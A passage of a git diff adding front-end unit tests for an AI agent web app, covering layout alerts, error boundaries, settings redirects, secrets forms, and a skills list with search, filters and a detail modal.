+    expect(await screen.findByTestId("command-menu")).toBeInTheDocument();
+    expect(screen.queryByTestId("alert-banner")).not.toBeInTheDocument();
+  });
+
+  it("updates the active language when the setting changes", () => {
+    renderMainApp();
+    expect(changeLanguageMock).toHaveBeenCalledWith("en");
+    changeLanguageMock.mockClear();
+    useSettingsMock.mockReturnValue({
+      data: {
+        language: "fr",
+        user_consents_to_analytics: true,
+      },
+    });
+
+    fireEvent.click(screen.getByTestId("rerender-link"));
+
+    expect(changeLanguageMock).toHaveBeenCalledOnce();
+    expect(changeLanguageMock).toHaveBeenCalledWith("fr");
+  });
+
+  it("leaves the current language unchanged when no language is configured", () => {
+    useSettingsMock.mockReturnValue({
+      data: {
+        language: null,
+        user_consents_to_analytics: true,
+      },
+    });
+
+    renderMainApp();
+
+    expect(changeLanguageMock).not.toHaveBeenCalled();
+    expect(ensureActiveProfileMock).toHaveBeenCalledOnce();
+  });
+
+  it("renders while settings are loading without changing the language", () => {
+    useSettingsMock.mockReturnValue({ data: undefined });
+
+    renderMainApp();
+
+    expect(screen.getByTestId("root-layout")).toBeInTheDocument();
+    expect(changeLanguageMock).not.toHaveBeenCalled();
+  });
+
+  it("shows the mobile menu outside a conversation and hides it inside one", () => {
+    const { unmount } = renderMainApp("/settings");
+
+    expect(screen.getByTestId("mobile-menu-bar")).toBeInTheDocument();
+    unmount();
+
+    renderMainApp("/conversations/abc-123");
+
+    expect(screen.queryByTestId("mobile-menu-bar")).not.toBeInTheDocument();
+  });
+
+  it("does not hide the mobile menu for a nested non-conversation route", () => {
+    renderMainApp("/settings/conversations/abc-123");
+
+    expect(screen.getByTestId("mobile-menu-bar")).toBeInTheDocument();
+  });
+
+  it("renders the onboarding host only when preview mode is requested", () => {
+    const { unmount } = renderMainApp("/settings");
+
+    expect(screen.queryByTestId("onboarding-host")).not.toBeInTheDocument();
+    unmount();
+
+    renderMainApp("/settings?previewOnboardingStep=2");
+
+    expect(screen.getByTestId("onboarding-host")).toBeInTheDocument();
+  });
+
+  it("renders the lazy alert banner when the backend reports an error", async () => {
+    useConfigMock.mockReturnValue({
+      isLoading: false,
+      data: {
+        maintenance_start_time: null,
+        faulty_models: [],
+        error_message: "Backend degraded",
+        updated_at: new Date().toISOString(),
+      },
+    });
+
+    renderMainApp();
+
+    expect(await screen.findByTestId("alert-banner")).toHaveTextContent(
+      "Backend degraded",
+    );
+  });
+
+  it.each([
+    {
+      label: "scheduled maintenance",
+      data: {
+        maintenance_start_time: "2030-01-02T03:04:05.000Z",
+        faulty_models: [],
+        error_message: null,
+        updated_at: "2030-01-01T00:00:00.000Z",
+      },
+    },
+    {
+      label: "a faulty model",
+      data: {
+        maintenance_start_time: null,
+        faulty_models: ["broken-model"],
+        error_message: null,
+        updated_at: "2030-01-01T00:00:00.000Z",
+      },
+    },
+  ])("renders the alert banner for $label", async ({ data: configData }) => {
+    useConfigMock.mockReturnValue({
+      isLoading: false,
+      data: configData,
+    });
+
+    renderMainApp();
+
+    expect(await screen.findByTestId("alert-banner")).toBeInTheDocument();
+  });
+
+  it("renders without an alert when config data is unavailable", async () => {
+    useConfigMock.mockReturnValue({ isLoading: false, data: null });
+
+    renderMainApp();
+
+    expect(await screen.findByTestId("command-menu")).toBeInTheDocument();
+    expect(screen.queryByTestId("alert-banner")).not.toBeInTheDocument();
+  });
+});
+
+describe("root layout error boundary", () => {
+  it("renders an object route response with its HTTP details", async () => {
+    renderRouteError(
+      data(
+        { reason: "maintenance" },
+        { status: 503, statusText: "Service Unavailable" },
+      ),
+    );
+
+    expect(
+      await screen.findByRole("heading", { name: "503" }),
+    ).toBeInTheDocument();
+    expect(screen.getByText("Service Unavailable")).toBeInTheDocument();
+    expect(screen.getByText('{"reason":"maintenance"}')).toBeInTheDocument();
+  });
+
+  it("renders primitive route-response data without serializing it", async () => {
+    renderRouteError(
+      data("plain failure", { status: 400, statusText: "Bad Request" }),
+    );
+
+    expect(
+      await screen.findByRole("heading", { name: "400" }),
+    ).toBeInTheDocument();
+    expect(screen.getByText("Bad Request")).toBeInTheDocument();
+    expect(screen.getByText("plain failure")).toBeInTheDocument();
+  });
+
+  it("renders the generic translated heading and message for an Error", async () => {
+    renderRouteError(new Error("Kaboom"));
+
+    expect(
+      await screen.findByRole("heading", { name: I18nKey.ERROR$GENERIC }),
+    ).toBeInTheDocument();
+    expect(screen.getByText("Kaboom")).toBeInTheDocument();
+  });
+
+  it("renders the unknown translated heading for a non-Error value", async () => {
+    renderRouteError("mystery failure");
+
+    expect(
+      await screen.findByRole("heading", { name: I18nKey.ERROR$UNKNOWN }),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/routes/secrets-settings.test.tsx b/__tests__/routes/secrets-settings.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2c5d0016f8987ddf17d6301eedd3198220fea479
--- /dev/null
+++ b/__tests__/routes/secrets-settings.test.tsx
@@ -0,0 +1,88 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { SecretsSettingsScreen } from "#/routes/secrets-settings";
+import { SecretsService } from "#/api/secrets-service";
+
+function renderSecretsSettingsScreen() {
+  return render(<SecretsSettingsScreen />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={new QueryClient({
+          defaultOptions: { queries: { retry: false } },
+        })}
+      >
+        {children}
+      </QueryClientProvider>
+    ),
+  });
+}
+
+describe("SecretsSettingsScreen", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it("renders the OSS secrets list for local secrets management", async () => {
+    // Mock getSecrets (used by useSearchSecrets internally)
+    vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([
+      {
+        name: "MY_SECRET",
+        description: "Demo secret",
+      },
+    ]);
+
+    renderSecretsSettingsScreen();
+
+    await screen.findByTestId("secrets-settings-screen");
+    expect(await screen.findByText("MY_SECRET")).toBeInTheDocument();
+    expect(screen.getByTestId("add-secret-button")).toBeInTheDocument();
+  });
+
+  it("disables Add Secret submit until required fields are filled", async () => {
+    vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([]);
+    const user = userEvent.setup();
+
+    renderSecretsSettingsScreen();
+
+    await screen.findByTestId("secrets-settings-screen");
+    await user.click(screen.getByTestId("add-secret-button"));
+
+    const submitButton = screen.getByTestId("submit-button");
+    const nameInput = screen.getByTestId("name-input");
+    const valueInput = screen.getByTestId("value-input");
+
+    expect(submitButton).toBeDisabled();
+
+    await user.type(nameInput, "MY_SECRET");
+    expect(submitButton).toBeDisabled();
+
+    await user.type(valueInput, "super-secret");
+    expect(submitButton).not.toBeDisabled();
+  });
+
+  it("disables Edit Secret submit until a field changes", async () => {
+    vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([
+      {
+        name: "MY_SECRET",
+        description: "Demo secret",
+      },
+    ]);
+    const user = userEvent.setup();
+
+    renderSecretsSettingsScreen();
+
+    await screen.findByTestId("secrets-settings-screen");
+    await screen.findByText("MY_SECRET");
+    await user.click(screen.getByTestId("edit-secret-button"));
+
+    const submitButton = screen.getByTestId("submit-button");
+    const descriptionInput = screen.getByTestId("description-input");
+
+    expect(submitButton).toBeDisabled();
+
+    await user.type(descriptionInput, " updated");
+    expect(submitButton).not.toBeDisabled();
+  });
+});
\ No newline at end of file
diff --git a/__tests__/routes/settings-index.test.tsx b/__tests__/routes/settings-index.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0836f8296db4afc7eb690ba80a252af30f720828
--- /dev/null
+++ b/__tests__/routes/settings-index.test.tsx
@@ -0,0 +1,84 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { createRoutesStub } from "react-router";
+import SettingsIndex from "#/routes/settings-index";
+import OptionService from "#/api/option-service/option-service.api";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+
+function renderSettingsIndex() {
+  const RouterStub = createRoutesStub([
+    { path: "/settings", Component: SettingsIndex },
+    {
+      path: "/settings/agents",
+      Component: () => <div data-testid="agent-profiles-screen" />,
+    },
+    {
+      path: "/settings/app",
+      Component: () => <div data-testid="app-settings-screen" />,
+    },
+  ]);
+
+  return render(
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      <ActiveBackendProvider>
+        <RouterStub initialEntries={["/settings"]} />
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+describe("settings index route", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    vi.spyOn(OptionService, "getConfig").mockResolvedValue({
+      feature_flags: {
+        hide_llm_settings: false,
+        hide_users_page: true,
+      },
+      providers_configured: [],
+      maintenance_start_time: null,
+      recaptcha_site_key: null,
+      faulty_models: [],
+      error_message: null,
+      updated_at: new Date().toISOString(),
+    });
+  });
+
+  afterEach(() => {
+    vi.unstubAllEnvs();
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  it("lands on the Agent library by default", async () => {
+    // Arrange — no lock-to-cloud; jsdom's default viewport is desktop width.
+    // Act
+    renderSettingsIndex();
+
+    // Assert
+    expect(
+      await screen.findByTestId("agent-profiles-screen"),
+    ).toBeInTheDocument();
+  });
+
+  it("lands on Application when the canvas is locked to a Cloud host", async () => {
+    // Arrange — SaaS / self-hosted OHE serve the canvas with `--lock-to-cloud`.
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+
+    // Act
+    renderSettingsIndex();
+
+    // Assert
+    expect(
+      await screen.findByTestId("app-settings-screen"),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/routes/settings.test.tsx b/__tests__/routes/settings.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7ca95e07bc1b0a7d352c8fb691cf7ad563e640a0
--- /dev/null
+++ b/__tests__/routes/settings.test.tsx
@@ -0,0 +1,288 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { createRoutesStub } from "react-router";
+import SettingsScreen, { clientLoader } from "#/routes/settings";
+import OptionService from "#/api/option-service/option-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  __resetActiveStoreForTests,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { readStoredBackends } from "#/api/backend-registry/storage";
+import { getFirstAvailablePath } from "#/utils/settings-utils";
+import { OSS_NAV_ITEMS } from "#/constants/settings-nav";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { queryClient } from "#/query-client-config";
+
+vi.mock("#/hooks/use-settings-nav-items", () => ({
+  // Mirror the real navigation: LLM + Application (which the title test
+  // navigates to via `/settings/app`).
+  useSettingsNavItems: () =>
+    OSS_NAV_ITEMS.filter((item) =>
+      ["/settings/llm", "/settings/app"].includes(item.to),
+    ).map((item) => ({ type: "item", item })),
+}));
+
+describe("settings route", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    queryClient.clear();
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    queryClient.clear();
+  });
+
+  it("prefers /settings/agents when LLM settings are hidden", () => {
+    // /settings/agents is the unconditional first fallback — always
+    // available and the single place to switch agent kinds.
+    expect(
+      getFirstAvailablePath({
+        hide_llm_settings: true,
+        hide_users_page: true,
+      }),
+    ).toBe("/settings/agents");
+  });
+
+  it("prefers /settings/agents when LLM settings are visible", () => {
+    expect(
+      getFirstAvailablePath({
+        hide_llm_settings: false,
+        hide_users_page: true,
+      }),
+    ).toBe("/settings/agents");
+  });
+
+  it("redirects hidden OSS settings pages to the first available route", async () => {
+    vi.spyOn(OptionService, "getConfig").mockResolvedValue({
+      feature_flags: {
+        hide_llm_settings: true,
+        hide_users_page: true,
+      },
+      providers_configured: [],
+      maintenance_start_time: null,
+      recaptcha_site_key: null,
+      faulty_models: [],
+      error_message: null,
+      updated_at: new Date().toISOString(),
+    });
+
+    const response = (await clientLoader({
+      request: new Request("http://localhost/settings/llm"),
+      params: {},
+      context: {},
+    } as never)) as Response;
+
+    expect(response.status).toBe(302);
+    expect(response.headers.get("Location")).toBe("/settings/agents");
+  });
+
+  it("does not redirect unrelated removed nested paths through the settings loader", async () => {
+    vi.spyOn(OptionService, "getConfig").mockResolvedValue({
+      feature_flags: {
+        hide_llm_settings: false,
+        hide_users_page: true,
+      },
+      providers_configured: [],
+      maintenance_start_time: null,
+      recaptcha_site_key: null,
+      faulty_models: [],
+      error_message: null,
+      updated_at: new Date().toISOString(),
+    });
+
+    const result = await clientLoader({
+      request: new Request("http://localhost/settings/integrations"),
+      params: {},
+      context: {},
+    } as never);
+
+    expect(result).toBeNull();
+  });
+
+  it("renders the current OSS section title", () => {
+    const RouterStub = createRoutesStub([
+      {
+        path: "/settings",
+        Component: SettingsScreen,
+        children: [
+          {
+            path: "/settings/app",
+            Component: () => <div data-testid="app-settings-screen" />,
+          },
+        ],
+      },
+    ]);
+
+    render(
+      <QueryClientProvider client={new QueryClient()}>
+        <ActiveBackendProvider>
+          <RouterStub initialEntries={["/settings/app"]} />
+        </ActiveBackendProvider>
+      </QueryClientProvider>,
+    );
+
+    expect(
+      screen.getAllByText("SETTINGS$NAV_APPLICATION").length,
+    ).toBeGreaterThan(0);
+    expect(screen.getByTestId("app-settings-screen")).toBeInTheDocument();
+  });
+
+  it("keeps the section title of a page that is not in the listed navigation", () => {
+    // Arrange — the nav mock above lists only LLM + Application, mirroring a
+    // locked-to-Cloud deployment where deep-linked pages stay routable but are
+    // unlisted; the header must still describe the visited page.
+    const RouterStub = createRoutesStub([
+      {
+        path: "/settings",
+        Component: SettingsScreen,
+        children: [
+          {
+            path: "/settings/agents",
+            Component: () => <div data-testid="agent-profiles-screen" />,
+          },
+        ],
+      },
+    ]);
+
+    // Act
+    render(
+      <QueryClientProvider client={new QueryClient()}>
+        <ActiveBackendProvider>
+          <RouterStub initialEntries={["/settings/agents"]} />
+        </ActiveBackendProvider>
+      </QueryClientProvider>,
+    );
+
+    // Assert — "Agent" is absent from the nav mock, so its only occurrence is
+    // the page header.
+    expect(screen.getByText("SETTINGS$NAV_AGENT")).toBeInTheDocument();
+    expect(screen.getByTestId("settings-page-subtitle")).toHaveTextContent(
+      "SETTINGS$PAGE_AGENT_PROFILES_SUBLINE",
+    );
+  });
+
+  it.each(["/settings/llm", "/settings/condenser", "/settings/verification"])(
+    "renders %s directly when ACP settings are active",
+    async (path) => {
+      vi.spyOn(OptionService, "getConfig").mockResolvedValue({
+        feature_flags: {
+          hide_llm_settings: false,
+          hide_users_page: true,
+        },
+        providers_configured: [],
+        maintenance_start_time: null,
+        recaptcha_site_key: null,
+        faulty_models: [],
+        error_message: null,
+        updated_at: new Date().toISOString(),
+      });
+      const settingsSpy = vi
+        .spyOn(SettingsService, "getSettings")
+        .mockResolvedValue({
+          ...MOCK_DEFAULT_USER_SETTINGS,
+          agent_settings: {
+            ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+            agent_kind: "acp",
+            acp_server: "claude-code",
+          },
+        });
+
+      const RouterStub = createRoutesStub([
+        {
+          path: "/settings",
+          Component: SettingsScreen,
+          loader: clientLoader as never,
+          children: [
+            {
+              path,
+              Component: () => <div data-testid="direct-settings-page" />,
+            },
+          ],
+        },
+      ]);
+
+      render(
+        <QueryClientProvider client={new QueryClient()}>
+          <ActiveBackendProvider>
+            <RouterStub initialEntries={[path]} />
+          </ActiveBackendProvider>
+        </QueryClientProvider>,
+      );
+
+      expect(await screen.findByTestId("direct-settings-page")).toBeVisible();
+      expect(settingsSpy).not.toHaveBeenCalled();
+    },
+  );
+
+  describe("backend settings routes", () => {
+    it.each(["local", "cloud"] as const)(
+      "renders /settings normally when the active backend is %s",
+      (backendKind) => {
+        vi.spyOn(OptionService, "getConfig").mockResolvedValue({
+          feature_flags: {
+            hide_llm_settings: false,
+            hide_users_page: false,
+          },
+          providers_configured: [],
+          maintenance_start_time: null,
+          recaptcha_site_key: null,
+          faulty_models: [],
+          error_message: null,
+          updated_at: new Date().toISOString(),
+        });
+
+        const backendId = `${backendKind}-backend`;
+        window.localStorage.setItem(
+          "openhands-backends",
+          JSON.stringify([
+            {
+              id: backendId,
+              name: backendKind,
+              host:
+                backendKind === "cloud"
+                  ? "https://app.all-hands.dev"
+                  : "http://localhost:9000",
+              apiKey: "key",
+              kind: backendKind,
+            },
+          ]),
+        );
+        window.localStorage.setItem(
+          "openhands-active-backend",
+          JSON.stringify({ backendId, orgId: null }),
+        );
+        setRegisteredBackends(readStoredBackends());
+
+        const RouterStub = createRoutesStub([
+          {
+            path: "/settings",
+            Component: SettingsScreen,
+            children: [
+              {
+                path: "/settings/llm",
+                Component: () => <div data-testid="llm-settings-screen" />,
+              },
+            ],
+          },
+        ]);
+
+        render(
+          <QueryClientProvider client={new QueryClient()}>
+            <ActiveBackendProvider>
+              <RouterStub initialEntries={["/settings/llm"]} />
+            </ActiveBackendProvider>
+          </QueryClientProvider>,
+        );
+
+        expect(screen.getByTestId("llm-settings-screen")).toBeInTheDocument();
+      },
+    );
+  });
+});
diff --git a/__tests__/routes/skills-settings.test.tsx b/__tests__/routes/skills-settings.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ba5750a4112e99e737c5fd8181c5c00db64b4b14
--- /dev/null
+++ b/__tests__/routes/skills-settings.test.tsx
@@ -0,0 +1,629 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+  act,
+  render,
+  screen,
+  within,
+  fireEvent,
+  waitFor,
+} from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { RouterProvider, createMemoryRouter } from "react-router";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import SkillsSettingsScreen from "#/routes/skills-settings";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import SkillsService from "#/api/skills-service";
+import {
+  ADD_SKILL_DOCS_URL,
+  ADD_SKILL_EXAMPLE_COMMAND,
+} from "#/constants/skills-docs";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { Settings, SkillInfo } from "#/types/settings";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+
+const navigateMock = vi.fn();
+
+vi.mock("#/context/navigation-context", () => ({
+  useNavigation: () => ({
+    navigate: navigateMock,
+    currentPath: "/skills",
+    conversationId: null,
+    isNavigating: false,
+  }),
+  NavigationProvider: ({ children }: { children: React.ReactNode }) => children,
+}));
+
+function buildSettings(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    ...overrides,
+    agent_settings: {
+      ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+      ...overrides.agent_settings,
+    },
+  };
+}
+
+function buildSkill(overrides: Partial<SkillInfo> = {}): SkillInfo {
+  return {
+    name: "deno",
+    type: "knowledge",
+    source:
+      "/Users/test/.openhands/cache/skills/public-skills/skills/deno/SKILL.md",
+    description:
+      "If the project uses deno, use this skill to initialize Deno projects.",
+    triggers: ["deno", "deno.json", "deno.lock"],
+    version: "1.0.0",
+    license: "Apache-2.0",
+    compatibility: "Requires Deno 1.40+",
+    metadata: null,
+    allowed_tools: ["bash"],
+    is_agentskills_format: true,
+    disable_model_invocation: false,
+    ...overrides,
+  };
+}
+
+function renderSkillsSettingsScreen(initialEntry = "/skills") {
+  const router = createMemoryRouter(
+    [
+      {
+        path: "/skills",
+        Component: () => (
+          <ActiveBackendProvider>
+            <SkillsSettingsScreen />
+          </ActiveBackendProvider>
+        ),
+      },
+    ],
+    { initialEntries: [initialEntry] },
+  );
+
+  render(<RouterProvider router={router} />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({
+            defaultOptions: { queries: { retry: false } },
+          })
+        }
+      >
+        {children}
+      </QueryClientProvider>
+    ),
+  });
+
+  return router;
+}
+
+describe("SkillsSettingsScreen", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    navigateMock.mockReset();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+  });
+
+  it("renders the description text inside the description badge", async () => {
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([]);
+
+    renderSkillsSettingsScreen();
+
+    const description = await screen.findByTestId(
+      "skills-settings-description",
+    );
+    expect(description).toHaveTextContent("SETTINGS$SKILLS_PAGE_DESCRIPTION");
+    expect(screen.getByText("NAV$CUSTOMIZE")).toBeInTheDocument();
+    expect(screen.getByTestId("sidebar-extensions-/skills")).toHaveTextContent(
+      "Skills",
+    );
+    expect(screen.getByTestId("sidebar-extensions-/plugins")).toHaveTextContent(
+      "Plugins",
+    );
+    expect(screen.getByTestId("sidebar-extensions-/mcp")).toHaveTextContent(
+      "MCP Servers",
+    );
+  });
+
+  it("shows card subtitle text from skill content when description is omitted", async () => {
+    const skill = buildSkill({
+      name: "SSH Microagent",
+      description: null,
+      content: `---
+description: Connect and run commands on remote machines over SSH.
+---
+# SSH Microagent
+
+Full skill body.`,
+      triggers: ["ssh"],
+    });
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([skill]);
+
+    renderSkillsSettingsScreen();
+    const card = await screen.findByTestId(`skill-card-${skill.name}`);
+
+    expect(
+      within(card).getByTestId(`skill-description-${skill.name}`),
+    ).toHaveTextContent(
+      "Connect and run commands on remote machines over SSH.",
+    );
+  });
+
+  it("surfaces the YAML description under the card title with the source path beneath it", async () => {
+    const skill = buildSkill();
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([skill]);
+
+    renderSkillsSettingsScreen();
+    const card = await screen.findByTestId(`skill-card-${skill.name}`);
+
+    expect(
+      within(card).getByTestId(`skill-description-${skill.name}`),
+    ).toHaveTextContent(skill.description!);
+    expect(
+      within(card).getByTestId(`skill-source-${skill.name}`),
+    ).toHaveTextContent(skill.source!);
+    expect(
+      within(card).getByTestId(`skill-icon-${skill.name}`),
+    ).toBeInTheDocument();
+    expect(
+      within(card).getByTestId("skill-type-badge-knowledge"),
+    ).toHaveTextContent("SETTINGS$SKILLS_TYPE_KNOWLEDGE");
+  });
+
+  it("copies the source path when the copy button is clicked", async () => {
+    const user = userEvent.setup();
+    const skill = buildSkill();
+    const writeText = vi.fn().mockResolvedValue(undefined);
+    vi.spyOn(navigator.clipboard, "writeText").mockImplementation(writeText);
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([skill]);
+
+    renderSkillsSettingsScreen();
+    const card = await screen.findByTestId(`skill-card-${skill.name}`);
+
+    await user.click(
+      within(card).getByTestId(`skill-copy-source-${skill.name}`),
+    );
+
+    expect(writeText).toHaveBeenCalledWith(skill.source);
+  });
+
+  it("hides the copy button when the source is a scope label instead of a path", async () => {
+    const skill = buildSkill({ name: "add_repo_inst", source: "global" });
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([skill]);
+
+    renderSkillsSettingsScreen();
+    const card = await screen.findByTestId(`skill-card-${skill.name}`);
+
+    expect(
+      within(card).getByTestId(`skill-source-${skill.name}`),
+    ).toHaveTextContent("global");
+    expect(
+      within(card).queryByTestId(`skill-copy-source-${skill.name}`),
+    ).not.toBeInTheDocument();
+  });
+
+  it("filters skills by name, description, or trigger via the search input", async () => {
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({ name: "deno", description: "Deno runtime helper" }),
+      buildSkill({
+        name: "vercel",
+        description: "Preview deployment helper",
+        triggers: ["vercel", "preview deployment"],
+        source: "/skills/vercel/SKILL.md",
+      }),
+    ]);
+
+    renderSkillsSettingsScreen();
+    await screen.findByTestId("skill-card-deno");
+
+    fireEvent.change(screen.getByTestId("skills-search-input"), {
+      target: { value: "preview" },
+    });
+
+    expect(screen.queryByTestId("skill-card-deno")).not.toBeInTheDocument();
+    expect(screen.getByTestId("skill-card-vercel")).toBeInTheDocument();
+  });
+
+  it("narrows the visible skills when a facet row is selected", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({ name: "deno", type: "knowledge" }),
+      buildSkill({
+        name: "global-rules",
+        type: "repo",
+        triggers: [],
+        source: "/skills/global-rules.md",
+      }),
+    ]);
+
+    const router = renderSkillsSettingsScreen();
+    await screen.findByTestId("skill-card-deno");
+
+    await user.click(screen.getByTestId("skill-facet-type-repo"));
+
+    expect(screen.queryByTestId("skill-card-deno")).not.toBeInTheDocument();
+    expect(screen.getByTestId("skill-card-global-rules")).toBeInTheDocument();
+    expect(router.state.location.search).toBe("?type=repo");
+  });
+
+  it("seeds the filter state from the URL on load", async () => {
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({ name: "deno", category: "environment" }),
+      buildSkill({ name: "prd", category: "writing", triggers: [] }),
+    ]);
+
+    renderSkillsSettingsScreen("/skills?category=writing");
+
+    await screen.findByTestId("skill-card-prd");
+    expect(screen.queryByTestId("skill-card-deno")).not.toBeInTheDocument();
+  });
+
+  it("restores the search text when history navigation changes the query", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({ name: "deno", type: "knowledge", description: "A helper" }),
+      buildSkill({
+        name: "global-rules",
+        type: "repo",
+        description: "A helper",
+        triggers: [],
+        source: "/skills/global-rules.md",
+      }),
+    ]);
+
+    const router = renderSkillsSettingsScreen("/skills?q=helper");
+    await screen.findByTestId("skill-card-deno");
+    const search = screen.getByTestId("skills-search-input");
+
+    // Push a second entry, then drop the query from it, so going back lands on a URL whose `q` differs from the input.
+    await user.click(screen.getByTestId("skill-facet-type-repo"));
+    fireEvent.change(search, { target: { value: "" } });
+    await waitFor(() =>
+      expect(router.state.location.search).toBe("?type=repo"),
+    );
+
+    await act(() => router.navigate(-1));
+
+    await waitFor(() => expect(search).toHaveValue("helper"));
+    expect(router.state.location.search).toBe("?q=helper");
+  });
+
+  it("filters through the mobile filters modal", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+      buildSkill({ name: "deno", type: "knowledge" }),
+      buildSkill({
+        name: "global-rules",
+        type: "repo",
+        triggers: [],
+        source: "/skills/global-rules.md",
+      }),
+    ]);
+
+    renderSkillsSettingsScreen();
+    await screen.findByTestId("skill-card-deno");
+
+    await user.click(screen.getByTestId("skills-filters-button"));
+    const modal = await screen.findByTestId("skill-filters-modal");
+    await user.click(within(modal).getByTestId("skill-facet-type-repo"));
+
+    expect(screen.queryByTestId("skill-card-deno")).not.toBeInTheDocument();
+    expect(screen.getByTestId("skill-card-global-rules")).toBeInTheDocument();
+  });
+
+  it("opens a detail modal with full metadata when a skill card is clicked", async () => {
+    const user = userEvent.setup();
+    const skill = buildSkill({
+      name: "rich",
+      license: "MIT",
+      compatibility: "Requires Python 3.11+",
+      allowed_tools: ["bash", "execute_bash"],
+      source: "/skills/rich/SKILL.md",
+    });
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([skill]);
+
+    renderSkillsSettingsScreen();
+    const card = await screen.findByTestId(`skill-card-${skill.name}`);
+
+    await user.click(card);
+
+    const modal = await screen.findByTestId("skill-detail-modal");
+    expect(modal).toHaveAttribute("data-skill-name", skill.name);
+    expect(
+      within(modal).getByTestId(`skill-modal-pill-${skill.name}-license`),
+    ).toHaveTextContent("MIT");
+    expect(
+      within(modal).getByTestId(`skill-modal-pill-${skill.name}-compatibility`),
+    ).toHaveTextContent("Requires Python 3.11+");
+    expect(
+      within(modal).getByTestId(`skill-modal-pill-${skill.name}-tool-bash`),
+    ).toHaveTextContent("bash");
+    expect(
+      within(modal).getByTestId(
+        `skill-modal-pill-${skill.name}-tool-execute_bash`,
+      ),
+    ).toHaveTextContent("execute_bash");
+    expect(
+      within(modal).getByTestId(`skill-modal-toggle-${skill.name}`),
+    ).toBeInTheDocument();
+  });
+
+  it("toggles a skill from the detail modal", async () => {
+    const user = userEvent.setup();
+    const skill = buildSkill({ name: "toggle-me" });
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([skill]);
+
+    renderSkillsSettingsScreen();
+    const card = await screen.findByTestId(`skill-card-${skill.name}`);
+    await user.click(card);
+
+    const modal = await screen.findByTestId("skill-detail-modal");
+    expect(
+      within(modal).getByText("SETTINGS$SKILLS_ENABLED"),
+    ).toBeInTheDocument();
+
+    await user.click(
+      within(modal).getByTestId(`skill-modal-toggle-${skill.name}`),
+    );
+
+    expect(card).not.toHaveClass("opacity-70");
+    expect(
+      within(card).getByTestId(`skill-toggle-${skill.name}`),
+    ).toHaveAttribute("aria-checked", "false");
+    expect(
+      within(modal).getByText("SETTINGS$SKILLS_DISABLED"),
+    ).toBeInTheDocument();
+  });
+
+  it("saves disabled_skills to the server when a skill is toggled off and settings has no prior disabled_skills field", async () => {
+    // Reproduces the bug where disabled_skills is absent from settings (undefined),
+    // causing hasHydratedInitialSettings to never become true and the save to be silently skipped.
+    const user = userEvent.setup();
+    const skill = buildSkill({ name: "save-me" });
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue([skill]);
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ disabled_skills: undefined }),
+    );
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderSkillsSettingsScreen();
